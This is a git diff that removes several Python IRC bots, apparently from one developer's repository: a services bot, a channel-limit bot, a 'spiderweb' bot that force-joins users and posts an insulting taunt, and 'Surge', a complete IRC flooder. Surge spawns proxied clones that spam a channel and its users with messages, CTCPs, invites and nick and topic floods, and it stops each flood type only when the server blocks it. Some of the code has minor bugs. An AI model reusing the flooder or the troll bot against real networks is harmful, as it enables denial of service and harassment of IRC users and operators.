-                            ident = args[2]
-                            vhost = args[3]
-                            if ident not in HostServ.idents():
-                                HostServ.add(ident, vhost)
-                                self.sendmsg(nick, '{0} has been {1} from the database.'.format(self.color(ident, light_blue), self.color('added', green)))
-                            else:
-                                self.error(nick, '{0} is already registered.'.format(color(ident, light_blue)))
-                        else:
-                            self.error(nick, 'You do not have permission to use this command.')
-                    else:
-                        self.error(nick, 'Invalid arguments.')
-                else:
-                    self.error(nick, 'Invalid arguments.')
-        except Exception as ex:
-            self.error(nick, 'Unexpected error has occured.', ex)
-
-    def event_who(self, chan, user, host, nick):
-        if self.last:
-            if self.last['cmd'] == 'husers':
-                if chan == '*':
-                    self.husers.append({'user':user,'host':host,'nick':nick})
-                    self.sendmsg(self.last['nick'], '{0} {1}'.format(self.color(nick, yellow), self.color('({0}@{1})'.format(user, host), grey)))
-            elif self.last['cmd'].startswith('sync'):
-                channel = self.last['cmd'].split()[1]
-                if chan == channel:
-                    mode = ChanServ.mode(chan, '{0}@{1]'.format(user, host))
-                    if mode:
-                        self.mode(chan, '+{0} {1}'.format(mode, nick))
-
-    def gzline(self, host, duration, msg):
-        self.raw('gzline *@{1} {2} {3}'.format(user, host, duration, msg))
-
-    def handle_events(self, data):
-        args = data.split()
-        if args[0] == 'PING':
-            self.raw('PONG ' + args[1][1:])
-        elif args[1] == '001':
-            self.event_connect()
-        elif args[1] == '315':
-           self.event_end_of_who()
-        elif args[1] == '352':
-            chan = args[3]
-            user = args[4]
-            host = args[5]
-            nick = args[7]
-            self.event_who(chan, user, host, nick)
-        elif args[1] == '433':
-            self.event_nick_in_use()
-        elif args[1] == 'NOTICE':
-            nick = args[0][1:]
-            self.event_notice(nick, data)
-        elif args[1] in ('JOIN','KICK','PRIVMSG'):
-            nick = args[0].split('!')[0][1:]
-            if nick != self.nickname:
-                chan = args[2]
-                if args[1] == 'JOIN':
-                    host = args[0].split('!')[1]
-                    self.event_join(nick, host, chan[1:])
-                elif args[1] == 'KICK':
-                    kicked = args[3]
-                    self.event_kick(chan, kicked)
-                elif args[1] == 'PRIVMSG':
-                    ident = args[0].split('!')[1]
-                    msg   = data.split('{0} PRIVMSG {1} :'.format(args[0], chan))[1]
-                    if msg.startswith('!'):
-                        if chan == self.nickname:
-                            self.event_private(nick, ident, msg)
-
-    def join(self, chan):
-        self.raw('JOIN ' + chan)
-        self.mode(chan, '+q ' + self.nickname)
-
-    def kill(self, nick, reason):
-        self.raw('KILL {0} {1}'.format(nick, reason))
-
-    def listen(self):
-        while True:
-            try:
-                data = self.sock.recv(1024).decode('utf-8')
-                if data:
-                    for line in (line for line in data.split('\r\n') if line):
-                        debug.irc(line)
-                        if line.startswith('ERROR :Closing Link:'):
-                            raise Exception('Connection has closed.')
-                        elif len(line.split()) >= 2:
-                            self.handle_events(line)
-                else:
-                    debug.error('No data recieved from server.')
-                    break
-            except (UnicodeDecodeError,UnicodeEncodeError):
-                debug.error('Unicode error has occured.')
-            except Exception as ex:
-                debug.error('Unexpected error occured.', ex)
-                break
-        self.event_disconnect()
-
-    def mode(self, target, mode):
-        self.raw('MODE {0} {1}'.format(target, mode))
-
-    def oper(self, nick, password):
-        self.raw('OPER {0} {1}'.format(nick, password))
-
-    def part(self, chan, msg):
-        self.raw('PART {0} {1}'.format(chan, msg))
-
-    def raw(self, msg):
-        self.sock.send(bytes(msg + '\r\n', 'utf-8'))
-
-    def sajoin(self, nick, chan):
-        self.raw('SAJOIN {0} {1}'.format(nick, chan))
-
-    def sendmsg(self, target, msg):
-        self.raw('PRIVMSG {0} :{1}'.format(target, msg))
-
-    def who(self, flag, args):
-        self.raw('who +{0} {1}'.format(flag, args))
-
-IRCS = IRC()
-\ No newline at end of file
diff --git a/irc/bots/ircs/ircs/data/.gitignore b/irc/bots/ircs/ircs/data/.gitignore
@@ -1 +0,0 @@
-!.gitignore
-\ No newline at end of file
diff --git a/irc/bots/ircs/ircs/ircs.py b/irc/bots/ircs/ircs/ircs.py
@@ -1,20 +0,0 @@
-#!/usr/bin/env python
-# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
-# ircs.py
-
-import os
-import sys
-
-sys.dont_write_bytecode = True
-os.chdir(sys.path[0] or '.')
-sys.path += ('core',)
-
-import debug
-import irc
-
-debug.info()
-if not debug.check_version(3):
-    debug.error_exit('IRCS requires Python 3!')
-if debug.check_privileges():
-    debug.error_exit('Do not run IRCS as admin/root!')
-irc.IRCS.connect()
diff --git a/irc/bots/limitserv.py b/irc/bots/limitserv.py
@@ -1,264 +0,0 @@
-#!/usr/bin/env python
-# LimitServ IRC Service Bot - Developed by acidvegas in Python (https://acid.vegas/random)
-
-import socket
-import threading
-import time
-
-# Configuration
-_connection = {'server':'irc.server.com', 'port':6697, 'ssl':True, 'ssl_verify':False, 'ipv6':False, 'vhost':None}
-_cert       = {'file':None, 'key':None, 'password':None}
-_ident      = {'nickname':'LimitServ', 'username':'services', 'realname':'Channel Limit Service'}
-_login      = {'nickserv':None, 'network':None, 'operator':None}
-_throttle   = {'limit':300, 'queue':0.5, 'voice':10}
-_settings   = {'anope':False, 'honeypot':'#blackhole', 'limit':10, 'modes':None}
-
-def debug(msg):
-	print(f'{get_time()} | [~] - {msg}')
-
-def error(msg, reason):
-	print(f'{get_time()} | [!] - {msg} ({reason})')
-
-def get_time():
-	return time.strftime('%I:%M:%S')
-
-class IRC(object):
-	def __init__(self):
-		self._channels = list()
-		self._names = list()
-		self._queue = list()
-		self._voices = dict()
-		self._sock = None
-
-	def _run(self):
-		Loop._loops()
-		self._connect()
-
-	def _connect(self):
-		try:
-			self._create_socket()
-			self._sock.connect((_connection['server'], _connection['port']))
-			self._register()
-		except socket.error as ex:
-			error('Failed to connect to IRC server.', ex)
-			Event._disconnect()
-		else:
-			self._listen()
-
-	def _create_socket(self):
-		self._sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) if _connection['ipv6'] else socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-		if _connection['vhost']:
-			self._sock.bind((_connection['vhost'], 0))
-		if _connection['ssl']:
-			ctx = ssl.SSLContext()
-			if _cert['file']:
-				ctx.load_cert_chain(_cert['file'], _cert['key'], _cert['password'])
-			if _connection['ssl_verify']:
-				ctx.verify_mode = ssl.CERT_REQUIRED
-				ctx.load_default_certs()
-			else:
-				ctx.check_hostname = False
-				ctx.verify_mode = ssl.CERT_NONE
-			self._sock = ctx.wrap_socket(self._sock)
-
-	def _listen(self):
-		while True:
-			try:
-				data = self._sock.recv(1024).decode('utf-8')
-				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
-					debug(line)
-					Event._handle(line)
-			except (UnicodeDecodeError,UnicodeEncodeError):
-				pass
-			except Exception as ex:
-				error('Unexpected error occured.', ex)
-				break
-		Event._disconnect()
-
-	def _register(self):
-		if _login['network']:
-			Bot._queue.append('PASS ' + _login['network'])
-		Bot._queue.append('USER {0} 0 * :{1}'.format(_ident['username'], _ident['realname']))
-		Bot._queue.append('NICK ' + _ident['nickname'])
-
-class Command:
-	def _join(chan, key=None):
-		Bot._queue.append('JOIN {chan} {key}') if key else Bot._queue.append('JOIN ' + chan)
-
-	def _kick(chan, nick, msg=None):
-		Bot._queue.append(f'KICK {chan} {nick} {msg}') if msg else Bot._queue.append(f'KICK {chan} {nick}')
-
-	def _mode(target, mode):
-		Bot._queue.append(f'MODE {target} {mode}')
-
-	def _raw(msg):
-		Bot._sock.send(bytes(msg[:510] + '\r\n', 'utf-8'))
-
-	def _sendmsg(target, msg):
-		Bot._queue.append(f'PRIVMSG {target} :{msg}')
-
-class Event:
-	def _connect():
-		if _settings['modes']:
-			Command._mode(_ident['nickname'], '+' + _settings['modes'])
-		if _login['nickserv']:
-			Command._sendmsg('NickServ', 'IDENTIFY {0} {1}'.format(_ident['nickname'], _login['nickserv']))
-		if _login['operator']:
-			Bot._queue.append('OPER {0} {1}'.format(_ident['username'], _login['operator']))
-
-	def _disconnect():
-		Bot._sock.close()
-		Bot._names = list()
-		Bot._queue = list()
-		Bot._voices = dict()
-		time.sleep(15)
-		Bot.connect()
-
-	def _end_of_names(chan):
-		limit = str(len(Bot._names) + _settings['limit'])
-		if settings['anope']:
-			Command._sendmsg('ChanServ', 'MODE {0} LOCK ADD +lL {1} {2}'.format(chan, limit, _settings['honeypot']))
-		else:
-			Command._mode(chan, '+lL {0} {1}'.format(limit, _settings['honeypot']))
-		Bot._names = list()
-
-	def _join(nick, chan):
-		if nick == _ident['nickname'].lower():
-			if chan not in Bot._channels:
-				Bot._channels.append(chan)
-			if chan not in Bot._voices:
-				Bot._voices[chan] = dict()
-		elif chan in Bot._channels:
-			if nick not in Bot._voices[chan]:
-				Bot._voices[chan][nick] = time.time()
-
-	def _kick(nick, chan, kicked):
-		if nick == _ident['nickname'].lower():
-			Bot._channels.remove(chan)
-			del Bot._voices[chan]
-			time.sleep(3)
-			Command._join(chan)
-		elif chan in Bot._channels:
-			if nick in Bot._voices[chan]:
-				del Bot._voices[chan][nick]
-
-	def _names(chan, nicks):
-		for name in nicks:
-			if name[:1] in '~!@%&+':
-				name = name[1:]
-			Bot._names.append(name)
-
-	def _nick(nick, new_nick):
-		for chan in Bot._voices:
-			if nick in Bot._voices[chan]:
-				Bot._voices[chan][new_nick] = Bot._voices[chan][nick]
-				del Bot._voices[chan][nick]
-
-	def _no_such_nick(nick):
-		for chan in Bot._voices:
-			if nick in Bot._voices[chan]:
-				del Bot.voices[chan][nick]
-
-	def _part(nick, chan):
-		if nick == _ident['nickname'].lower():
-			Bot._channels.remove(chan)
-			del Bot._voices[chan]
-		elif chan in Bot._channels:
-			if nick in Bot._voices[chan]:
-				del Bot._voices[chan][nick]
-
-	def _quit(nick):
-		for chan in Bot._voices:
-			if nick in Bot._voices[chan]:
-				del Bot._voices[chan][nick]
-
-	def _handle(data):
-		args = data.split()
-		if data.startswith('ERROR :Closing Link:'):
-			raise Exception('Connection has closed.')
-		elif data.startswith('ERROR :Reconnecting too fast, throttled.'):
-			raise Exception('Connection has closed. (throttled)')
-		elif args[0] == 'PING':
-			Command._raw('PONG ' + args[1][1:])
-		elif args[1] == '001': # RPL_WELCOME
-			Event._connect()
-		elif args[1] == '401': # ERR_NOSUCHNICK
-			nick = args[3].lower()
-			Event._no_such_nick(nick)
-		elif args[1] == '433': # ERR_NICKNAMEINUSE
-			raise Exception('Bot is already running or nick is in use.')
-		elif args[1] == '353' and len(args) >= 6: #RPL_NAMREPLY
-			chan = args[4].lower()
-			names = ' '.join(args[5:]).lower()[1:].split()
-			Event._names(chan, names)
-		elif args[1] == '366' and len(args) >= 4: # RPL_ENDOFNAMES
-			chan = args[3].lower()
-			Event._end_of_names(chan)
-		elif args[1] == 'JOIN' and len(args) == 3:
-			nick = args[0].split('!')[0][1:].lower()
-			chan = args[2][1:].lower()
-			Event._join(nick, chan)
-		elif args[1] == 'KICK' and len(args) >= 4:
-			nick = args[0].split('!')[0][1:].lower()
-			chan = args[2].lower()
-			kicked = args[3].lower()
-			Event._kick(nick, chan, kicked)
-		elif args[1] == 'NICK' and len(args) == 3:
-			nick = args[0].split('!')[0][1:].lower()
-			new_nick = args[2][1:].lower()
-			Event._nick(nick, new_nick)
-		elif args[1] == 'PART' and len(args) >= 3:
-			nick = args[0].split('!')[0][1:].lower()
-			chan = args[2].lower()
-			Event._part(nick, chan)
-		elif args[1] == 'QUIT':
-			nick = args[0].split('!')[0][1:].lower()
-			Event._quit(nick)
-
-class Loop:
-	def _loops():
-		threading.Thread(target=Loop._queue).start() # start first to handle incoming data
-		threading.Thread(target=Loop._limit).start()
-		threading.Thread(target=Loop._voice).start()
-
-	def _limit():
-		while True:
-			try:
-				for chan in Bot._channels:
-					Bot._queue.append('NAMES ' + chan)
-			except Exception as ex:
-				error('Error occured in the loop!', ex)
-			finally:
-				time.sleep(_throttle['limit'])
-
-	def _queue():
-		while True:
-			try:
-				if Bot._queue:
-					Command._raw(Bot._queue.pop(0))
-			except Exception as ex:
-				error('Error occured in the queue loop!', ex)
-			finally:
-				time.sleep(_throttle['queue'])
-
-	def _voice():
-		while True:
-			try:
-				for chan in Bot._voices:
-					nicks = [nick for nick in Bot._voices[chan] if time.time() - Bot._voices[chan][nick] > _throttle['voice']]
-					for item in [nicks[i:i + 4] for i in range(0, len(nicks), 4)]:
-						Command._mode(chan, '+{0} {1}'.format('v'*len(item), ' '.join(item)))
-						for subitem in item:
-							del Bot._voices[chan][subitem]
-			except Exception as ex:
-				error('Error occured in the voice loop!', ex)
-			finally:
-				time.sleep(1)
-
-# Main
-if _connection['ssl']:
-	import ssl
-else:
-	del cert, _connection['verify']
-Bot = IRC()
-Bot._run()
diff --git a/irc/bots/spiderweb.py b/irc/bots/spiderweb.py
@@ -1,50 +0,0 @@
-#!/usr/bin/env python
-# SpiderWeb IRC Bot - Developed by acidvegas in Python (https://acid.vegas/trollbots)
-
-'''
-This bot requires network operator privledges in order to use the SAJOIN command.
-The bot will idle in the #spiderweb channel. Anyone leaving the channel will be force joined back.
-'''
-
-import socket
-import ssl
-import time
-
-nickserv_password='CHANGEME'
-operator_password='CHANGEME'
-
-def raw(msg):
-	sock.send(bytes(msg + '\r\n', 'utf-8'))
-
-while True:
-	try:
-		sock = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
-		sock.connect(('localhost', 6697))
-		raw(f'USER spider 0 * :CAUGHT IN THE WEB')
-		raw('NICK spider')
-		while True:
-			try:
-				data = sock.recv(1024).decode('utf-8')
-				for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
-					print('{0} | [~] - {1}'.format(time.strftime('%I:%M:%S'), line))
-					args=line.split()
-					if line.startswith('ERROR :Closing Link:'):
-						raise Exception('Connection has closed.')
-					elif args[0] == 'PING':
-						raw('PONG ' + args[1][1:])
-					elif args[1] == '001':
-						raw('MODE spider +BDd')
-						raw('PRIVMSG NickServ IDENTIFY spider ' + nickserv_password)
-						raw('OPER spider ' + operator_password)
-						raw('JOIN #spiderweb')
-					elif args[1] == 'PART' and len(args) >= 3:
-						if args[2]=='#spiderweb':
-							nick = args[0].split('!')[0][1:]
-							raw(f'SAJOIN {nick} #spiderweb')
-							raw(f'PRIVMSG #spiderweb :HA HA HA! IM A BIG ASSHOLE SPIDER AND {nick} IS CAUGHT IN MY SPIDER WEB!!!')
-			except (UnicodeDecodeError, UnicodeEncodeError):
-				pass
-	except:
-		sock.close()
-	finally:
-		time.sleep(15)
diff --git a/irc/bots/surge.py b/irc/bots/surge.py
@@ -1,396 +0,0 @@
-#!/usr/bin/env python
-# -*- coding: utf-8 -*-
-# Surge IRC Flooder - Developed by acidvegas in Python (https://acid.vegas/trollbots)
-# surge.py
-
-'''
-- Action
-- Color
-- CTCP Channel / CTCP Nick *(PING, TIME, VERSION)*
-- Cycle *(Join/Part)*
-- Hilight
-- Invite
-- Message / Private Message
-- Nick
-- Notice
-- Topic
-- Nick Registration (Channel & VHOST also if successful)
-
-The script uses IRC numeric detection and will stop a specific flood type if it becomes blocked.
-If the channel becomes locked out due to a ban or specific mode, it will continue to flood the nicklist.
-'''
-
-import argparse
-import concurrent.futures
-import os
-import random
-import ssl
-import socket
-import string
-import sys
-import threading
-import time
-
-class config:
-	class connection:
-		server    = 'irc.server.com'
-		port      = 6667
-		ipv6      = False
-		ssl       = False
-		password  = None
-		channel   = '#chats'
-		key       = None
-
-	class attacks:
-		channel  = ['action','color','ctcp','msg','nick','notice','part','topic']
-		message  = 'SURGE SURGE SURGE SURGE SURGE'
-		nicklist = ['ctcp','invite','notice','private']
-
-	class throttle:
-		attack      = 3
-		concurrency = 3
-		threads     = 100
-		rejoin      = 3
-		timeout     = 15
-
-# Bad IRC Numerics
-bad_numerics = {
-	'465' : 'ERR_YOUREBANNEDCREEP',
-	'471' : 'ERR_CHANNELISFULL',
-	'473' : 'ERR_INVITEONLYCHAN',
-	'474' : 'ERR_BANNEDFROMCHAN',
-	'475' : 'ERR_BADCHANNELKEY',
-	'477' : 'ERR_NEEDREGGEDNICK',
-	'519' : 'ERR_TOOMANYUSERS'
-}
-
-def alert(msg):
-	print(f'{get_time()} | [+] - {msg}')
-
-def debug(msg):
-	print(f'{get_time()} | [~] - {msg}')
-
-def error(msg, reason=None):
-	if reason:
-		print(f'{get_time()} | [!] - {msg} ({reason})')
-	else:
-		print(f'{get_time()} | [!] - {msg}')
-
-def error_exit(msg):
-	raise SystemExit(f'{get_time()} | [!] - {msg}')
-
-def get_time():
-	return time.strftime('%I:%M:%S')
-
-def keep_alive():
-	try:
-		while True:
-			input('')
-	except KeyboardInterrupt:
-		sys.exit()
-
-def random_int(min, max):
-	return random.randint(min, max)
-
-def random_str(size):
-	return ''.join(random.choice(string.ascii_letters) for _ in range(size))
-
-class clone:
-	def __init__(self, data_line):
-		self.data_line      = data_line
-		self.invite_channel = '#' + random_str(random_int(4,7))
-		self.invite_count   = 0
-		self.nickname       = random_str(random_int(4,7))
-		self.nicklist       = []
-		self.sock           = None
-
-	def run(self):
-		self.connect()
-
-	def action(self, chan, msg):
-		self.sendmsg(chan, f'\x01ACTION {msg}\x01')
-
-	def attack_channel(self):
-		while True:
-			if not config.attacks.channel:
-				error('Channel attack list is empty.')
-				break
-			else:
-				option = random.choice(config.attacks.channel)
-				try:
-					if option in ('nick','part','topic'):
-						if option == 'nick':
-							self.nickname = random_str(random_int(4,7))
-							self.nick(self.nickname)
-						elif option == 'part':
-							self.part(config.connection.channel, config.attacks.message)
-							time.sleep(config.throttle.rejoin)
-							self.join_channel(config.connection.channel, config.connection.key)
-						elif option == 'topic':
-							self.topic(config.connection.channel, '{0} {1} {2}'.format(random_str(random_int(5,10)), config.attacks.message, random_str(random_int(5, 10))))
-					else:
-						if self.nicklist:
-							message = self.rainbow('{0} {1} {2}'.format(' '.join(random.sample(self.nicklist, 3)), config.attacks.message, ' '.join(random.sample(self.nicklist, 3))))
-						else:
-							message = self.rainbow(config.attacks.message)
-						if option == 'action':
-							self.action(config.connection.channel, message)
-						elif option == 'ctcp':
-							self.ctcp(config.connection.channel, message)
-						elif option == 'msg':
-							self.sendmsg(config.connection.channel, message)
-						elif option == 'notice':
-							self.notice(config.connection.channel, message)
-					time.sleep(config.throttle.attack)
-				except:
-					break
-
-	def attack_nicklist(self):
-		while True:
-			if not self.nicklist:
-				error('Nicklist attack list is empty.')
-				break
-			else:
-				try:
-					for nick in self.nicklist:
-						option = random.choice(config.attacks.nicklist)
-						if option == 'ctcp':
-							self.ctcp(nick, random.choice(('PING','TIME','VERSION')))
-						elif option == 'invite':
-							self.invite(nick, self.invite_channel)
-							self.invite_count += 1
-							if self.invite_count >= 10:
-								self.part(self.invite_channel)
-								self.invite_channel = '#' + random_str(random_int(5,8))
-								self.join(self.invite_channel)
-						elif option == 'notice':
-							self.notice(nick, config.attacks.message)
-						elif option == 'private':
-							self.sendmsg(nick, self.rainbow(config.attacks.message))
-						time.sleep(config.throttle.attack)
-				except:
-					break
-
-	def connect(self):
-		try:
-			self.create_socket()
-			self.sock.connect((config.connection.server, config.connection.port))
-			self.register()
-		except socket.error:
-			self.sock.close()
-		else:
-			self.listen()
-
-	def create_socket(self):
-		family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
-		if pargs.proxy:
-			proxy_server, proxy_port = self.data_line.split(':')
-			self.sock = socks.socksocket(family, socket.SOCK_STREAM)
-			self.sock.setblocking(0)
-			self.sock.settimeout(config.throttle.timeout)
-			self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
-		elif pargs.vhost:
-			self.sock = socket.socket(family, socket.SOCK_STREAM)
-			self.sock.bind((self.data_line, 0))
-		if config.connection.ssl:
-			self.sock = ssl.wrap_socket(self.sock)
-
-	def ctcp(self, target, data):
-		self.sendmsg(target, f'\001{data}\001')
-
-	def event_connect(self):
-		alert(f'Successful connection. ({self.proxy_server}:{self.proxy_port})')
-		self.join_channel(config.connection.channel, config.connection.key)
-		self.join_channel(self.invite_channel)
-
-	def event_end_of_names(self):
-		threading.Thread(target=self.attack_channel).start()
-		threading.Thread(target=self.attack_nicklist).start()
-
-	def event_kick(self, chan, kicked):
-		if kicked == self.nickname:
-			time.sleep(config.throttle.rejoin)
-			self.join_channel(config.connection.channel, config.connection.key)
-		else:
-			if nick in self.nicklist:
-				self.nicklist.remove(nick)
-
-	def event_names(self, chan, names):
-		for name in names:
-			if name[:1] in '~!@%&+:':
-				name = name[1:]
-			if name != self.nickname and name not in self.nicklist:
-				self.nicklist.append(name)
-
-	def event_nick_in_use(self):
-		self.nickname = random_str(random_int(5,8))
-		self.nick(self.nickname)
-
-	def event_quit(self, nick):
-		if nick in self.nicklist:
-			self.nicklist.remove(nick)
-
-	def handle_events(self, data):
-		args = data.split()
-		if args[0] == 'PING':
-			self.raw('PONG ' + args[1][1:])
-		elif args[1] == '001':
-			self.event_connect()
-		elif args[1] == '353':
-			chan = args[4]
-			if ' :' in data:
-				names = data.split(' :')[1].split()
-			elif ' *' in data:
-				names = data.split(' *')[1].split()
-			elif ' =' in data:
-				names = data.split(' =')[1].split()
-			else:
-				names = data.split(chan)[1].split()
-			self.event_names(chan, names)
-		elif args[1] == '366':
-			self.event_end_of_names()
-		elif args[1] == '401':
-			name = args[3]
-			if name in self.nicklist:
-				self.nicklist.remove(name)
-		elif args[1] == '404':
-			if 'ACTIONs are not permitted' in data and 'action' in config.attacks.channel:
-				config.attacks.channel.remove('action')
-			elif 'Color is not permitted' in data and 'color' in config.attacks.channel:
-				config.attacks.channel.remove('color')
-			elif 'CTCPs are not permitted' in data and 'ctcp' in config.attacks.channel:
-				config.attacks.channel.remove('ctcp')
-			elif 'You need voice' in data or 'You must have a registered nick' in data:
-				for attack in ('action','ctcp','msg','notice','topic'):
-					if attack in config.attacks.channel:
-						config.attacks.channel.remove(attack)
-			elif 'NOTICEs are not permitted' in data and 'notice' in config.attacks.channel:
-				self.attacks_channel.remove('notice')
-		elif args[1] == '433':
-			self.event_nick_in_use()
-		elif args[1] == '447':
-			if 'nick' in config.attacks.channel:
-				config.attacks.channel.remove('nick')
-		elif args[1] == '482':
-			if 'topic' in config.attacks.channel:
-				config.attacks.channel.remove('topic')
-		elif args[1] == '492':
-			if 'ctcp' in config.attacks.nicklist:
-				config.attacks.nicklist.remove('ctcp')
-		elif args[1] == '499':
-			if 'topic' in config.attacks.channel:
-				config.attacks.channel.remove('topic')
-		elif args[1] == '518':
-			if 'invite' in config.attacks.nicklist:
-				config.attacks.nicklist.remove('invite')
-		elif args[1] in bad_numerics:
-			error('Flood protection has been enabled!', bad_numerics[args[1]])
-			self.sock.close()
-		elif args[1] == 'KICK':
-			chan   = args[2]
-			kicked = args[3]
-			self.event_kick(chan, kicked)
-		elif args[1] == 'QUIT':
-			nick = args[0].split('!')[0][1:]
-			self.event_quit(nick)
-
-	def invite(self, nick, chan):
-		self.raw(f'INVITE {nick} {chan}')
-
-	def join_channel(self, chan, key=None):
-		if key:
-			self.raw(f'JOIN {chan} {key}')
-		else:
-			self.raw('JOIN ' + chan)
-
-	def listen(self):
-		while True:
-			try:
-				data = self.sock.recv(1024).decode('utf-8')
-				for line in (line for line in data.split('\r\n') if line):
-					if len(line.split()) >= 2:
-						self.handle_events(line)
-			except (UnicodeDecodeError,UnicodeEncodeError):
-				pass
-			except:
-				break
-		self.sock.close()
-
-	def nick(self, nick):
-		self.raw('NICK ' + nick)
-
-	def notice(self, target, msg):
-		self.raw(f'NOTICE {target} :{msg}')
-
-	def part(self, chan, msg):
-		self.raw(f'PART {chan} :{msg}')
-
-	def rainbow(self, msg):
-		if 'color' in config.attacks.channel:
-			message = ''
-			for i in range(random_int(10,20)):
-				message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '▄')
-			message += '\x03{0:0>2} {1} '.format(random_int(2,13), msg)
-			for i in range(random_int(10,20)):
-				message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '▄')
-		else:
-			message = '{0} {1} {2}'.format(random_str(random_int(10,20)), msg, random_str(random_int(10,20)))
-		return message
-
-	def raw(self, msg):
-		self.sock.send(bytes(msg + '\r\n', 'utf-8'))
-
-	def register(self):
-		if config.connection.password:
-			self.raw('PASS ' + config.connection.password)
-		self.raw('USER {0} 0 * :{1}'.format(random_str(random_int(5,8)), random_str(random_int(5,8))))
-		self.nick(self.nickname)
-
-	def sendmsg(self, target, msg):
-		self.raw(f'PRIVMSG {target} :{msg}')
-
-	def topic(self, chan, text):
-		self.raw(f'TOPIC {chan} :{text}')
-
-	def unicode(self, msg):
-		start = 0x1000
-		end   = 0x3000
-		message = ''
-		for i in range(random.randint(100,150)):
-			message = message + chr(random.randint(start, end))
-		message = message + msg
-		for i in range(random.randint(100,150)):
-			message = message + chr(random.randint(start, end))
-
-
-# Main
-print('#'*56)
-print('#{0}#'.format(''.center(54)))
-print('#{0}#'.format('Surge IRC Flooder'.center(54)))
-print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
-print('#{0}#'.format('https://acid.vegas/trollbots'.center(54)))
-print('#{0}#'.format(''.center(54)))
-print('#'*56)
-parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]')
-parser.add_argument('input',         help='file to scan')
-parser.add_argument('-p', '--proxy', help='proxy list', action='store_true')
-parser.add_argument('-v', '--vhost', help='vhost list', action='store_true')
-pargs = parser.parse_args()
-if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost):
-	error_exit('Invalid arguments.')
-if pargs.proxy:
-	try:
-		import socks
-	except ImportError:
-		error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
-if not os.path.isfile(pargs.input):
-	error_exit('No such input file.')
-data_lines = [line.strip() for line in open(pargs.input).readlines() if line]
-debug(f'Loaded {len(data_lines)} lines from file.')
-random.shuffle(data_lines)
-for i in range(config.throttle.concurrency):
-	with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
-		checks = {executor.submit(clone(line).connect): line for line in data_lines}
-		for future in concurrent.futures.as_completed(checks):
-			checks[future]
-debug('Flooding is complete.')
-\ No newline at end of file
diff --git a/irc/constants.py b/irc/constants.py
@@ -1,228 +0,0 @@
-#!/usr/bin/env python
-# internet relay chat constants - developed by acidvegas in python (https://git.acid.vegas/random)
-
-# Control Characters
-bold      = '\x02'
-color     = '\x03'
-italic    = '\x1D'
-underline = '\x1F'
-reverse   = '\x16'
-reset     = '\x0f'
-
-# Color Codes
-white       = '00'
-black       = '01'
-blue        = '02'
-green       = '03'
-red         = '04'
-brown       = '05'
-purple      = '06'
-orange      = '07'
-yellow      = '08'
-light_green = '09'
-cyan        = '10'
-light_cyan  = '11'
-light_blue  = '12'
-pink        = '13'
-grey        = '14'
-light_grey  = '15'
-
-# Events
-PASS     = 'PASS'
-NICK     = 'NICK'
-USER     = 'USER'
-OPER     = 'OPER'
-MODE     = 'MODE'
-SERVICE  = 'SERVICE'
-QUIT     = 'QUIT'
-SQUIT    = 'SQUIT'
-JOIN     = 'JOIN'
-PART     = 'PART'
-TOPIC    = 'TOPIC'
-NAMES    = 'NAMES'
-LIST     = 'LIST'
-INVITE   = 'INVITE'
-KICK     = 'KICK'
-PRIVMSG  = 'PRIVMSG'
-NOTICE   = 'NOTICE'
-MOTD     = 'MOTD'
-LUSERS   = 'LUSERS'
-VERSION  = 'VERSION'
-STATS    = 'STATS'
-LINKS    = 'LINKS'
-TIME     = 'TIME'
-CONNECT  = 'CONNECT'
-TRACE    = 'TRACE'
-ADMIN    = 'ADMIN'
-INFO     = 'INFO'
-SERVLIST = 'SERVLIST'
-SQUERY   = 'SQUERY'
-WHO      = 'WHO'
-WHOIS    = 'WHOIS'
-WHOWAS   = 'WHOWAS'
-KILL     = 'KILL'
-PING     = 'PING'
-PONG     = 'PONG'
-ERROR    = 'ERROR'
-AWAY     = 'AWAY'
-REHASH   = 'REHASH'
-DIE      = 'DIE'
-RESTART  = 'RESTART'
-SUMMON   = 'SUMMON'
-USERS    = 'USERS'
-WALLOPS  = 'WALLOPS'
-USERHOST = 'USERHOST'
-ISON     = 'ISON'
-
-# Event Numerics
-RPL_WELCOME          = '001'
-RPL_YOURHOST         = '002'
-RPL_CREATED          = '003'
-RPL_MYINFO           = '004'
-RPL_ISUPPORT         = '005'
-RPL_TRACELINK        = '200'
-RPL_TRACECONNECTING  = '201'
-RPL_TRACEHANDSHAKE   = '202'
-RPL_TRACEUNKNOWN     = '203'
-RPL_TRACEOPERATOR    = '204'
-RPL_TRACEUSER        = '205'
-RPL_TRACESERVER      = '206'
-RPL_TRACESERVICE     = '207'
-RPL_TRACENEWTYPE     = '208'
-RPL_TRACECLASS       = '209'
-RPL_STATSLINKINFO    = '211'
-RPL_STATSCOMMANDS    = '212'
-RPL_STATSCLINE       = '213'
-RPL_STATSILINE       = '215'
-RPL_STATSKLINE       = '216'
-RPL_STATSYLINE       = '218'
-RPL_ENDOFSTATS       = '219'
-RPL_UMODEIS          = '221'
-RPL_SERVLIST         = '234'
-RPL_SERVLISTEND      = '235'
-RPL_STATSLLINE       = '241'
-RPL_STATSUPTIME      = '242'
-RPL_STATSOLINE       = '243'
-RPL_STATSHLINE       = '244'
-RPL_LUSERCLIENT      = '251'
-RPL_LUSEROP          = '252'
-RPL_LUSERUNKNOWN     = '253'
-RPL_LUSERCHANNELS    = '254'
-RPL_LUSERME          = '255'
-RPL_ADMINME          = '256'
-RPL_ADMINLOC1        = '257'
-RPL_ADMINLOC2        = '258'
-RPL_ADMINEMAIL       = '259'
-RPL_TRACELOG         = '261'
-RPL_TRYAGAIN         = '263'
-RPL_NONE             = '300'
-RPL_AWAY             = '301'
-RPL_USERHOST         = '302'
-RPL_ISON             = '303'
